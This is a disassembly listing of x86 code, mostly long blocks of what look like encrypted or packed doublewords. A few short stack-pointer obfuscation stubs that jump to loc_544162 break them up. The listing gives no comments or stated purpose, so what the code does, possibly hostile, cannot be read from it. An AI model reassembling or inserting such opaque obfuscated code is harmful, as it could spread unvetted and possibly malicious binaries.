		dd 0ABB5350h, 89062393h, 0C1895BD8h, 3C8B5458h,	4C48324h
		dd 6DBA5251h, 107EF69h,	5A042454h, 8108478Fh, 696D086Fh
		dd 34FF07EFh, 0C4835F24h, 240C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dd 802570E6h, 0C602BCC0h, 84EFAE10h, 0E4B87B84h, 30623A3h
		dd 4CE0FFC5h, 7D35CC59h, 866E03E0h, 0B1179416h,	0FC2EC5BAh
		dd 0E42B3F50h, 5E231149h, 5A5E8B3Bh, 7D44A2C9h,	3439E97Ah
		dd 0DD024AA4h, 8D551D88h, 23A59A8Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0D7BF0FD4h
		dd 6A19D01h, 810F061Dh,	10h, 0BE9h, 0CB17F000h,	75ADB00Dh
		dd 40C57A9Ah, 20D18D89h, 6A061Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A4968CC3h, 0BD291F41h
		dd 61D097Dh, 331D85C7h,	6198061Dh, 8B660000h, 0F985C7F7h
		dd 61D2Bh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FF1C350h, 680h, 0B5B50300h, 89061D09h
		dd 1D21BD9Dh, 19B5FF06h, 6A061D2Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C52EC355h
		dd 8B66C97Ch, 1995FFD3h, 6A061D15h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7AD0C353h
		dd 2AA18243h, 89BD8B39h, 6A061D31h, 995FF00h, 8B061D12h
		dd 0C858EBC0h, 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh
		dd 4203496Fh, 0FC79DD7Ah, 223DEBECh, 50BE2170h,	0E8C3E951h
		dd 0C0451C26h, 4385DE0Bh, 24F729B7h, 7B6EDDE1h,	0F55301CBh
		dd 4947C031h, 0CEFC93ABh, 6ECD776Fh, 5DF2C82Bh,	0F0661F10h
		dd 0CEF181D7h, 793B4C0Ah, 0C6111CB2h, 1D1B2585h, 0DF685606h
		dd 0FFA9C530h, 1D1805B5h, 0FF858D06h, 0FF062077h, 0AD8D8DD0h
		dd 51061D1Fh, 0B5FF406Ah, 61D16A5h, 2F2DB5FFh, 0D0FF061Dh
		dd 16A5B5FFh, 0B5FF061Dh, 61D2F2Dh, 0DE8h, 0B719DC00h
		dd 0BE4DFEAFh, 145E1664h, 59593971h, 0C104E983h, 0C102242Ch
		dd 3022424h, 1CF7240Ch,	0BB24h,	148B0000h, 0EDC28119h
		dd 8173CBC3h, 0CD2ACAEAh, 1FC28113h, 520D9D48h,	8319048Fh
		dd 3B4B03EBh, 850F241Ch, 0FFFFFFDAh, 17D99D8Dh,	38B061Dh
		dd 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 0CE8C9h,	849F0000h
		dd 6CAF55B4h, 0A688B062h, 0DE8B262h, 0FC000000h, 0A598767Dh
		dd 274E452Ah, 0B20CCC23h, 5F58D88Ah, 59C68A56h,	5A30C781h
		dd 0DE8B0000h, 0BEh, 0CE800h, 6DF30000h, 3C0A1E2Dh, 0DBB90A5Dh
		dd 0F5530CD1h, 148B5B5Bh, 1880F37h, 0F5000000h,	6372EA81h
		dd 5E85B81h, 0FD000000h, 0AC4235C4h, 8159AEB4h,	82612EC2h
		dd 11E82Bh, 0F1040000h,	0B83A747Bh, 971D92E5h, 29FF1F5Fh
		dd 0B538574Fh, 0F2815B05h, 649BC9CAh, 245FC1BBh, 37148919h
		dd 3AFBB966h, 83DF8B66h, 0FCB104EEh, 0A67CFE81h, 850FFFFFh
		dd 0FFFFFF9Eh, 2450F381h, 8D8D2493h, 623A81Ch, 13E9h, 567EF400h
		dd 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h, 20D18D89h
		dd 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 4F0BAFC3h, 0BADFBF0Fh, 2CB882F6h,	85C7F18Bh
		dd 61D331Dh, 6238h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 5CC35242h, 0F985C77Eh, 61D2Bh, 0FF000000h
		dd 1D125DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 6B99F6AEh, 869CF85Ah, 8D89AC72h
		dd 61D267Dh, 151995FFh,	8A0F061Dh, 3, 81A8E480h, 175019DBh
		dd 0FF006A44h, 1D120995h, 0EBC08B06h, 90BCCE1Fh, 0BFCC8477h
		dd 0CFD53D44h, 7D52E271h, 5987417Ch, 52E8AF11h,	0B53D64BBh
		dd 9504693h, 8EBh, 0FC880000h, 0F5E955BAh, 68000004h, 623A98Fh
		dd 0F9D75DE9h, 0AA1368FFh, 53E90623h, 68FFF9D7h, 623AB69h
		dd 0F9D749E9h, 0E193A7FFh, 0D3959E37h, 0C7A59029h, 0B8B0841Dh
		dd 0ABC1750Eh, 0D5AA8901h, 0C8610B61h, 0BE57016Fh, 0B34CF67Ah
		dd 563CE68Eh, 0EA232C4h, 0C92F2361h, 0E7F7893Bh, 4923610Eh
		dd 610E27B7h, 0FE03B423h, 1448EF4Dh, 0B26D4A22h, 0AD3BE58Fh
		dd 0A65569FBh, 0B5662542h, 0C5A37957h, 0DCE6315h, 0D043F2FDh
		dd 0E30290EEh, 451F45C1h, 0F82897B0h, 4BA9DE06h, 0E286AD48h
		dd 86633405h, 0A158E2F6h, 38E26CDCh, 8313A557h,	5ADCA158h
		dd 0DFB08DE7h, 0C56E29DAh, 97F5C6A3h, 1CC2CDDFh, 0EE8032EDh
		dd 0DCA154DEh, 68DC3AEBh, 325h,	4737FDBAh, 50AE7FF1h, 95FD08A9h
		dd 9F31E187h, 1F45AB6Eh, 2DB90CBDh, 33BF6514h, 621276C4h
		dd 38C91DD0h, 8C1EAEE3h, 0D322CB78h, 161DD889h,	0D3A47552h
		dd 9FD16623h, 0C999600Ch, 61BF3F8Eh, 0A90A686h,	38CC5E37h
		dd 0C9D32297h, 996A4718h, 0E65B18C8h, 542F6BCCh, 0CA9BBEF0h
		dd 10BE1CEDh, 2503E57Eh, 9949FAE9h, 650F65DCh, 8CFF75CCh
		dd 0E47CA86Ch, 0E7312EDh, 85000003h, 7C15BFB5h,	6E07B1B7h
		dd 62FBA5C7h, 53EC96D2h, 67DF89E3h, 0E983B388h,	0DF91A63Fh
		dd 0D49C9C35h, 0C4B0912Ah, 10A2341Ah, 23610FFCh, 0EF20A70Dh
		dd 0D98B3B59h, 42A6B747h, 0C7A98E25h, 631419EAh, 7FDD8BA8h
		dd 3EE53FD1h, 0C97A1F24h, 92DA5C19h, 961C25E2h,	2F17822Eh
		dd 2C09DABCh, 0C755FD5Bh, 603D370Ah, 0BE78318Fh, 0A241D1AEh
		dd 83313444h, 167CCBEh,	0F825324h, 0DAE3EFE9h, 8AFE9D78h
		dd 1000002h, 0F8913B39h, 0EA832D3Bh, 0DE77214Bh, 0CF681256h
		dd 0E35B0567h, 65072F04h, 5B1522BBh, 502018B1h,	40340DA6h
		dd 8C1EB096h, 23610C78h, 0EF9C2389h, 88E45159h,	5909DAABh
		dd 243E7DC7h, 7451021Fh, 9EF1D4E4h, 4AD05ADCh, 236FB13Bh
		dd 1D3C8EDh, 681A0000h,	9EE9C6D6h, 0C422D3DCh, 1D8A1F1Dh
		dd 0A34DF2B9h, 64DD96F4h, 1CB6010h, 9FD16698h, 925EF1C2h
		dd 89E353B7h, 0AC0ADBACh, 5F2B16D1h, 8D21B3E2h,	1E25427Fh
		dd 0EEBF9C6Dh, 8F6C0433h, 8543EDBEh, 8F21D1B7h,	1F4569E2h
		dd 0D36340F1h, 0DCA164C7h, 2A5BBF49h, 0ED1CFA80h, 2FB7h
		dd 59EF1000h, 80F98B3Bh, 131F45A5h, 59DDF183h, 3DEEDCA0h
		dd 38FFBC6Ch, 2C8A5B38h, 5929C151h, 0AD37DCA0h,	0C396186Dh
		dd 0AFA5ED1Dh, 0FE000000h, 97472D14h, 0D5E43802h, 60BE0713h
		dd 6CCA85h, 9BD96823h, 0E3510EBEh, 79D7A885h, 49F381C0h
		dd 42DCE5DBh, 4545FC25h, 0FCAC7DF3h, 0A39CEC67h, 41006667h
		dd 0B4855633h, 6E20AE56h, 42A8C8DCh, 0CA28D925h, 0C95B5EECh
		dd 2542A835h, 944415C6h, 484D1002h, 0F93DFA1Fh,	0E3C0AC89h
		dd 0E0E34112h, 74C27F2Fh, 81B54EF8h, 0D40C78EBh, 522DDADFh
		dd 134B3h, 0E58FAB00h, 0D791A23Bh, 0CBA1942Dh, 0BCAC8821h
		dd 0AFBD7912h, 0D9AE8D05h, 0CC650F5Dh, 0C25B056Bh, 0B750FA76h
		dd 5A40EA8Ah, 0DA636C8h, 0CD332361h, 4A221446h,	3A3A07A0h
		dd 621F0990h, 0EABB98D4h, 66ED38Ch, 0DFD36E29h,	0B3413C7Eh
		dd 23CD9EF0h, 1B1D765h,	4579BA4Fh, 472448EEh, 459FE376h
		dd 5B36C422h, 0B81F4524h, 13A55707h, 0DCA19483h, 0B28FD95Ah
		dd 702BDCE1h, 9C4AA8C8h, 0A13657DFh, 0D014CE2Bh, 0DBEB7BCFh
		dd 0E8DCA106h, 4EBC6637h, 0DCA106BAh, 5ADAB091h, 38CC5E0Eh
		dd 0C9DCA106h, 0E5974718h, 0A1064353h, 0D29E9ADCh, 16BE1CCDh
		dd 0B044D688h, 41DCA106h, 0BD793290h, 20FD73C5h, 0CDA3944Fh
		dd 6A801FFCh, 0D4000000h, 0F04E1E17h, 5159EF49h, 9B98AE6h
		dd 243E2177h, 2805B61Fh
		dd 2FC1D46Dh, 0DC9EFE9Fh, 0AA7B2Ch, 0BD9ADA67h,	83F1500Dh
		dd 5064F6A6h, 61DC9EFEh, 0F381DFB0h, 8D152EC2h,	0F98B8F13h
		dd 0E9822C48h, 843F1C58h, 84DBB8B0h, 0F74A3AE0h, 891BCD7Dh
		dd 8301A075h, 0CF77D586h, 8C690B36h, 55171FDCh,	35AF7h
		dd 5DB50000h, 4E2614B6h, 0E98BB671h, 89E7510Ch,	2A46F1ACh
		dd 0C8A4924Dh, 660630EBh, 266CE89h, 0A1CB6A25h,	3E2A09C4h
		dd 0EF689C61h, 8900001Ch, 0E189240Ch, 4C181h, 0E9830000h
		dd 240C8704h, 0E789575Ch, 4C781h, 0EF830000h, 243C8704h
		dd 243C895Ch, 40C568h, 242C8900h, 5B626851h, 415910A8h
		dd 4D0AC181h, 8950F57Bh, 58C789C8h, 4EC8159h, 89000000h
		dd 4812424h, 424h, 0EC835D00h, 243C8904h, 0FF08458Fh, 835D2434h
		dd 34FF04C4h, 0C4815F24h, 4, 0F9D27DE9h, 60E45EFFh, 0A0F657DDh
		dd 0B464C426h, 23ACC2B8h, 0FFC50306h, 0D38AE4E0h, 785E3B7Fh
		dd 0E49B9133h, 0F487CB70h, 0F28D3772h, 5D8EF007h, 5B979E29h
		dd 0D1F6A57Eh, 14E827h,	6C0D0000h, 686B57B8h, 3A81DEEFh
		dd 0EA4BE503h, 785661F1h, 860F54B6h, 5,	7B5CD4BFh, 0C081582Bh
		dd 6D03h, 6E9h,	35D7D400h, 33945573h, 0FFCDB3C9h, 5AFC0134h
		dd 78A0Fh, 0B2600000h, 0C78B66ACh, 0B3C28161h, 811609F6h
		dd 5421CDC3h, 53C28160h, 66507721h, 8194B1BEh, 6B5D0FEAh
		dd 52F98B43h, 0C797BB66h, 8B08048Fh, 9E960D8h, 39000000h
		dd 5B83F19Ch, 0DAEDEF2h, 4E98361h, 0F551BF66h, 93D4F981h
		dd 850FFFFFh, 21h, 58B0Fh, 66530000h, 0E95BF18Bh, 39h
		dd 0E522706Dh, 79818FF4h, 0D5EEB148h, 0F79888F2h, 0CE94Dh
		dd 83EE0000h, 88D2C16Eh, 9086DAF8h, 6CE9DBD1h, 2AFFFFFFh
		dd 4B8516FDh, 546A8DCAh, 87F8CB84h, 0EBD625D6h,	13E84Fh
		dd 7FAA0000h, 3079D9FDh, 3F0B3F37h, 698791BFh, 2E5BCFDFh
		dd 805BF891h, 0C38188DCh, 5B80h, 5002BA66h, 0E953FF33h
		dd 0Fh,	58F508EEh, 98115843h, 9940E536h, 58EA9F4Dh, 811F34FFh
		dd 7D4CBFE6h, 8B665941h, 80F181D1h, 0E908C522h,	11h, 0B73D9EF8h
		dd 6186ADF3h, 59D99D5Dh, 24AEF763h, 3EF181EEh, 6623BF87h
		dd 81165BB8h, 3A6152F1h, 0BF0F5106h, 3B048FC7h,	53F7B70Fh
		dd 11E9h, 0F334AB00h, 0DA9E1FF8h, 0A2E8DF6Ch, 77CA353Ch
		dd 81581F3Eh, 7DEC85EFh, 2890F0Eh, 0B2000000h, 81C7812Bh
		dd 810E7DECh, 0FFA568FFh, 23850FFFh, 0E9000000h, 13h, 194C50E3h
		dd 0A5FDF307h, 8DF15EBDh, 45172A9Fh, 0E92CED69h, 1Ah, 2A278FEAh
		dd 8B66FCCFh, 0FF5AE9C1h, 4812FFFFh, 0D9C2FA00h, 1E2319B0h
		dd 10E8BEA0h, 94000000h, 175EABAEh, 9FA4159h, 2715B74Fh
		dd 8135FC70h, 0D20F72C2h, 0D38A5834h, 71B2C081h, 11E90000h
		dd 6E000000h, 0FE4DBEF4h, 851C6643h, 0A6E7B529h, 3D723117h
		dd 68h,	0F2EB8000h, 0BE959h, 74C50000h,	6780629Ch, 4D74549Ah
		dd 8348BCCh, 8169D680h,	0A346B3F6h, 6E959h, 6EAE0000h
		dd 0D6524546h, 1163F681h, 6E90B21h, 0A8000000h,	69C788Ch
		dd 91C6814Ch, 5776A813h, 834895Bh, 71DA8160h, 66645DE2h
		dd 0C22ED881h, 0D2BF0F61h, 0F02E983h, 4949F8B7h, 5EB8166h
		dd 38F981C3h, 0FFFFF8Fh, 1385h,	3EE9F500h, 6D000000h, 28A29CB4h
		dd 8F034445h, 0EAE25926h, 12E8h, 0C240E800h, 0A031D557h
		dd 24ECE74Bh, 4AAA9B84h, 0F2F2338h, 0E95BD3BFh,	0FFFFFF71h
		dd 0CEC8FA9h, 0C6567752h, 5CBDC32Ch, 0B159332h,	0BE8DDh
		dd 12DF0000h, 89A6B170h, 0C99A5ABDh, 6E8D1h, 7BFF0000h
		dd 1372970Ah, 0C2815A5Fh, 5CBBh, 0AE9h,	0C5525A00h, 764AD0A8h
		dd 0BB145A4Fh, 34C0927h, 0F21CEB81h, 5E9034Bh, 0F2000000h
		dd 5AB1BCA5h, 2CBF028Bh, 811A7142h, 51CAB8E8h, 0C4E8815Dh
		dd 0E804B5A5h, 0Dh, 0CBF600F4h,	7040C6B2h, 7D1D30FFh, 0F1BF0FEDh
		dd 6E88159h, 0B1245903h, 80028939h, 0EA831EEDh,	0B96AB904h
		dd 0EB8301CAh, 0B9850F01h, 60FFFFFFh, 0BDE98166h, 0C0BF0FBBh
		dd 83C08B61h, 1D1669BDh, 9750006h, 121BD83h, 7400061Dh
		dd 8B535019h, 421B8C0h,	85890000h, 61D2A69h, 0A63D9D8Dh
		dd 0D3FF061Fh, 0BD83585Bh, 61D0121h, 50177400h,	421B853h
		dd 85890000h, 61D2A69h,	0A32C9D8Dh, 0D3FF061Fh,	0C08B585Bh
		dd 1719D8Bh, 85C6061Dh,	61D1B25h, 0B8526856h, 0B5FF9CA8h
		dd 61D1805h, 77FF858Dh,	0D0FF0620h, 68046Ah, 0FF000010h
		dd 1D0911B5h, 0FF006A06h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h
		dd 61D7191h, 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h
		dd 83D3030Ch, 1D17D9BDh, 840F0006h, 0Eh, 17D99D8Bh, 858B061Dh
		dd 61D2AD5h, 52510389h,	7B1F858Dh, 0D0FF061Dh, 0F18BFA8Bh
		dd 0C88BD18Bh, 85C6A4F3h, 61D1B25h, 6D396856h, 0B5FFD41Fh
		dd 61D1805h, 77FF858Dh,	0D0FF0620h, 800068h, 52006A00h
		dd 0C08BD0FFh, 1669BD83h, 7500061Dh, 21BD8309h,	61D01h
		dd 53501974h, 21B8C08Bh, 89000004h, 1D0F3D85h, 0A49D8D06h
		dd 0FF061FA6h, 83585BD3h, 1D0121BDh, 17740006h,	21B85350h
		dd 89000004h, 1D0F3D85h, 459D8D06h, 0FF061FA3h,	8B585BD3h
		dd 0D99D8DC0h, 8B061D17h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh
		dd 4B41B8h, 8E800h, 1F7C0000h, 79998432h, 8B5EDE70h, 63C681D7h
		dd 0F00005Bh, 481h, 3AB86600h, 8BDB3395h, 3334FFC2h, 78B8BA5Fh
		dd 0EF81654Dh, 6540282Ch, 38B0Fh, 8B660000h, 1CF781D3h
		dd 8A721521h, 8BF781F3h, 0E945EA86h, 8,	67D609h, 0F92BE5A3h
		dd 5DBA6657h, 1E048F91h, 0E68060F8h, 10E98Fh, 5E220000h
		dd 3E40FC8h, 706143EFh,	369C88D6h, 81618E11h, 0A8857EEBh
		dd 0D8816609h, 0C381EE51h, 9A8857Ah, 0AE9h, 197E4100h
		dd 5004EDB1h, 81B5EA67h, 0FFA540FBh, 7E850FFFh,	81FFFFFFh
		dd 179B3CDAh, 3BE935h, 8B600000h, 1D2C39BDh, 4EF8306h
		dd 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h
		dd 850F4EC2h, 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h
		dd 61FFFFFFh, 8DC88BC3h, 23B40E8Dh, 0D6816606h,	8D899644h
		dd 61D20D1h, 76F1BE60h,	13E818B1h, 9E000000h, 76C749FBh
		dd 0A93C1682h, 1139832Fh, 47D1648Fh, 61602B40h,	85C76158h
		dd 61D331Dh, 5990h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 5CC35040h, 19763CB5h,	14E85F39h, 5E000000h
		dd 9E573523h, 0C81AE002h, 2713922Bh, 58B2FD6Eh,	50D22686h
		dd 5AC7B70Fh, 84BA665Ah, 0F985C7D6h, 61D2Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0E542C351h, 7DA2DBD4h, 0FFD98B8Ch, 1D0201B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 13836943h, 0BA574BA6h, 16E2BC78h, 1995FF5Ah
		dd 81061D15h, 0A727DACEh, 6AD58A2Fh, 995FF00h, 8B061D12h
		dd 0D03FEBC0h, 0FE9E1BF6h, 0ADFA6DAEh, 99BD6EE7h, 4D62E3A0h
		dd 68A6DE7Ah, 0E7094240h, 214B6A8Ah, 0F5A89047h, 804201F8h
		dd 3A3F2007h, 7A1EDDD1h, 74B0BE81h, 88FE7059h
		dd 5664FE34h, 998094C5h, 9D8D860Dh, 61D305Dh, 1434B8h
		dd 69858900h, 0E8061D2Fh, 0
		dd 0D0558h, 3890000h, 1434E9h, 50Dh dup(0)
		dd 7E800h, 0E56B0000h, 0C46238A3h, 81BD8BE0h, 59061D16h
		dd 81DF8B66h, 69CEC1h, 0BA00h, 8B660000h, 11048BD8h, 0A6F081F8h
		dd 8177FCE2h, 3E6A01E8h, 0E0F08166h, 504C357Ch,	8F05D780h
		dd 6E81104h, 56000000h,	3C05E8F8h, 0DE926h, 0D040000h
		dd 0D3AE2CC3h, 0EF497369h, 5F6A41E9h, 0D55FEA81h, 810F658Ah
		dd 5, 74EB8166h, 5BC2817Bh, 81658AD5h, 0FF96CCFAh, 10850FFFh
		dd 0BF000000h, 7062754Bh, 17E9h, 0F00BA200h, 0E99FF202h
		dd 0FFFFFF8Dh, 7549A9DEh, 4B60021Eh, 7A4F1627h,	0F00A04EBh
		dd 82E96668h, 0BD000005h, 0B44DF77Dh, 0A63FE97Fh, 9A33DD8Fh
		dd 8B24CE9Ah, 9F17C1ABh, 214BEBC0h, 1759DE77h, 0C64D46Dh
		dd 0FC78C962h, 48DA6C52h, 23616FB4h, 0BC51DF45h, 3E7A5F11h
		dd 8C3391B0h, 6A472D14h, 3BFB87AFh, 1DB66031h, 0B8735024h
		dd 5E0EEB89h, 0B91BD2C9h, 0D533F01Ah, 7451171Ch, 0A2ED2DB1h
		dd 5E194FE5h, 0E5B693D5h, 173CE87h, 0F67ABE57h,	0EB85B34Ch
		dd 8CE4530Eh, 66B458AFh, 0D1E57729h, 37254227h,	422711A5h
		dd 0ECF1A225h, 0B586E251h, 27637305h, 0BF702542h, 1E90A861h
		dd 78CE0Fh, 30DAAB78h, 0EDCAAA97h, 429E4C5Dh, 0F0B9325h
		dd 2811EB80h, 0E88861BEh, 14D8D28Ah, 715F14FFh,	0B8000000h
		dd 0D65D2D14h, 29E4B592h, 0B08D5E0Ah, 79F34300h, 0A6738D1Bh
		dd 34C42542h, 51AFC177h, 94166FABh, 0A314FF3Ch,	6, 6EFE38F5h
		dd 1F146910h, 82B16C49h, 803038FCh, 42A6DEEEh, 693AEB25h
		dd 563D18Ch, 39E16528h,	0D680E84Bh, 0F0049648h,	12542A6h
		dd 0CA9E9550h, 78EB36Ch, 42A66175h, 0F379BC25h,	0A5404516h
		dd 2DFEDB91h, 5AE18B5Ch, 0D96B2214h, 2542A6C5h,	775425D6h
		dd 14F177BCh, 0F4908A14h, 0E7802A42h, 823D1A5Ah, 54DCB9B3h
		dd 823F50CAh, 56BCCB2h,	0F3865734h, 47E2A7FDh, 0B46CCA9Ch
		dd 14FF662Ah, 0A9DD5A17h, 3102DF8Dh, 0BF8E0260h, 0E7000000h
		dd 0C3882214h, 65DF4CE1h, 365CF8Ah, 0A7845526h,	462349ECh
		dd 0F93AF783h, 0AF6B116Fh, 594961D5h, 14A3210h,	0EC7A24F5h
		dd 3714A83Ah, 0F4A52542h, 1359DD96h, 0C5F18636h, 940DA6C8h
		dd 134B7104h, 2C340134h, 491F15CEh, 9552E46Ch, 0C86ECCA0h
		dd 66A93352h, 0AAD014FFh, 22000000h, 0BD9ACE65h, 5C393302h
		dd 0B55CBA8Bh, 6D4A2214h, 65B428BDh, 0C2746995h, 9C2F2510h
		dd 3B992B6Eh, 71F8B682h, 0E5E21A1Ch, 5C5F3C0Dh,	5F2313D0h
		dd 0EAC798D8h, 515BB19h, 5B5B77Fh, 0C9AB9653h, 7B8B1BECh
		dd 0D2254228h, 58290662h, 9C44A253h, 0C5B2790Eh, 89660231h
		dd 0E7D025B8h, 0F276BE79h, 1F14ED94h, 0CDDC6C49h, 202542A6h
		dd 0C7775414h, 42A6A135h, 0C6813225h, 621DFA6Eh, 0E9BA97D1h
		dd 0F678A226h, 1075A52Dh, 14FF3C9Eh, 91A663h, 0BD525E6Eh
		dd 0E9BA6BDAh, 3ACA5C0Ch, 0C7DABD52h, 73E74516h, 1, 4B2114CCh
		dd 165ADE9Bh, 2F0A6839h, 0F7A7CD74h, 9370FC3Ah,	328964C2h
		dd 0FD6BC986h, 6321F99Fh, 0E391B0D2h, 9CAA6812h, 7445270Eh
		dd 0CE6012C4h, 2542A63Eh, 0E25F1ACBh, 86E4B592h, 0BA4931F8h
		dd 41F1A2E0h, 5EBCB484h, 0FB79C883h, 0EB89B851h, 49647E0Eh
		dd 73C3DCA0h, 0D3611CF9h, 499024B6h, 7021DCA0h,	38C2C29Fh
		dd 5898CE2h, 0A2D26F15h, 8BAD6AF8h, 73CE87E5h, 9F945101h
		dd 0D5906BC9h, 2B2B086Ch, 811679A1h, 0EBF2E40h,	81EF4946h
		dd 0A402D3A4h, 0AD3F56EBh, 0DCA0F319h, 7566F9AAh, 77A25A04h
		dd 3AD27C4Dh, 0ED1D43B0h, 110C7h, 59EF2000h, 1CD98B3Bh
		dd 0A475521Ah, 0BD29B846h, 42FF1F45h, 1A1D7BF5h, 38FCB969h
		dd 3CF7D230h, 2CC56F05h, 0D2825F15h, 737E8E20h,	0FB8BDCA0h
		dd 0A0735569h, 0E4B566DCh, 74CD86h, 0D4912323h,	850E4660h
		dd 0A35F0E77h, 0C624F5D2h, 0B78AFA20h, 717B13BDh, 8ED1D2Dh
		dd 5Eh,	5258EF61h, 0DAAB88E4h, 9A9C5909h, 0C624F5D2h, 0A6C68618h
		dd 6B282542h, 4043A1CBh, 598E1EB0h, 0D365DABDh,	0EAEFC09Dh
		dd 0A784E44Fh, 573405D6h, 1D57EAA7h, 599D31BFh,	0DA82DABDh
		dd 0B9D4F40h, 0DABD59FBh, 1BF95708h, 26B8680Ch,	0DABD5926h
		dd 0B69D873h, 0E28C5D2Eh, 5865h, 59EFC000h, 98F98B3Bh
		dd 0FB1F45C0h, 8FB26D4Ah, 9FA23BE5h, 5B68F8D5h,	62DCA07Dh
		dd 0F9483CDEh, 9143D17Bh, 0A07FEFFFh, 0ED4BFCDCh, 0C371390Fh
		dd 71F38EE3h, 6435D58Ch, 351E393h, 98E6C1B0h, 633438FDh
		dd 0FE76CB86h, 0F426CA21h, 7B7DD6Bh, 9D79DF75h,	610BBCECh
		dd 0D4621FDAh, 8CEABB98h, 4CFC98AEh, 4656E89Ah,	532542A6h
		dd 6A8EA1E0h, 0D17B3Eh,	0E83E14A2h, 0AA5B1F23h,	452F12CDh
		dd 353F029Bh, 0AB98C858h, 0D75BBCA7h, 74004143h, 641031CAh
		dd 68CC87h, 0F228CC23h,	15C5AF92h, 6889EF80h, 0F3C4A1CFh
		dd 822ADE60h, 0D3ECDCF0h, 6B3CEDBCh, 75CC650Dh,	228322FFh
		dd 0DE000000h, 21898A1Fh, 341163DEh, 27AED063h,	7ECCE072h
		dd 2CDD2542h, 0DF8DFD5Bh, 0B294DD4Ah, 0DC3A4217h, 4E261435h
		dd 0E98BB671h, 89E7510Ch, 2A46F1ACh, 0C8A4924Dh, 660630EBh
		dd 266CE89h, 0A1CB6A25h, 3E2A09C4h, 18689C61h, 89000056h
		dd 0E0892404h, 405h, 4E88300h, 5C240487h, 5E08950h, 4
		dd 8704E883h, 895C2404h, 2C68241Ch, 89000051h, 68512404h
		dd 0EB35366h, 0F1C18159h, 89F77075h, 240C8BCBh,	4C481h
		dd 8B540000h, 0C4812404h, 4, 317D68h, 241C8900h, 8B08408Fh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		dd 0EED9B8CEh, 0F4673A6Dh, 0CE42B801h, 0C5030623h, 7E48E0FFh
		dd 0F6E74CB5h, 0D836A59h, 53B127AFh, 7BD76522h,	96C83DACh
		dd 6FFE46B9h, 0E3904C66h, 10F95E30h, 9E1A639Eh,	400708E2h
		dd 14FA5DEBh, 789F4BE6h, 47F127BAh, 701C57D7h, 131E6592h
		dd 0B86B3772h, 1B811A24h, 213D1A26h, 0A0703FE4h, 5BD26987h
		dd 0AEC128F5h, 924E6F48h, 88EB58A0h, 0BDA72900h, 69A715AEh
		dd 0ED233686h, 8E4C2855h, 2AE9138Dh, 0C7000000h, 2404h
		dd 0E80000h, 5D000000h,	0CF63ED81h, 448B0623h, 85890424h
		dd 61D0261h, 0B8h, 898D8D00h, 0FF061D4Ch, 6754B8E1h, 0ED550000h
		dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 205E15FDh, 20718BFDh
		dd 2066C8FDh, 20EA2EFDh, 202F18FDh, 20CDF6FDh, 20BCDFFDh
		dd 2004BCFDh, 2058ABFDh, 2071D6FDh, 2066AFFDh, 20EC00FDh
		dd 20286DFDh, 20CA42FDh, 20BB2FFDh, 2002EBFDh, 205E3FFDh
		dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh,	7A5A5CF4h
		dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
		dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 6D2B76FDh, 6DA375A7h
		dd 7ACB75A7h, 7BE475FDh, 7BF374FCh, 0B29074FCh,	1ABC75F8h
		dd 0A9C0F070h, 0FFA673DEh, 7CB4BA28h, 0A97FF070h, 0FF6C73DEh
		dd 7CD1BA68h, 0A98BF070h, 0FF3573DEh, 7C7DBA2Ch, 0A97DF070h
		dd 0FF1E73DEh, 7CE8BA64h, 0A9F4F070h, 0FF7B73DEh, 7C5ABA60h
		dd 0AB13F070h, 0FFD773DEh, 7C0CBA5Ch, 0AB56F070h, 0FF4273DEh
		dd 7CC6BA58h, 0AB25F070h, 0FFF073DEh, 7C9FBA54h, 0A86CF070h
		dd 0FFA673DEh, 7CB4BA48h, 0AB35F070h, 0FF6C73DEh, 7CD1BA50h
		dd 0A864F070h, 0FF3573DEh, 7C7DBA4Ch, 0A81DF070h, 0FF1E73DEh
		dd 7CE8BA48h, 0A889F070h, 0FF7B73DEh, 7C5ABA38h, 0A837F070h
		dd 0FFD773DEh, 7C0CBA34h, 0A839F070h, 0FF4273DEh, 7CC6BA30h
		dd 0A805F070h, 0FFF073DEh, 7C9FBA44h, 0A970F070h, 0FFA673DEh
		dd 7CB4BA40h, 0A902F070h, 0FF6C73DEh, 7CD1BA3Ch, 542CF076h
		dd 0FF3573E0h, 7C7DA5F3h, 71CEF076h, 0FF1E73E0h, 7CE8A5EFh
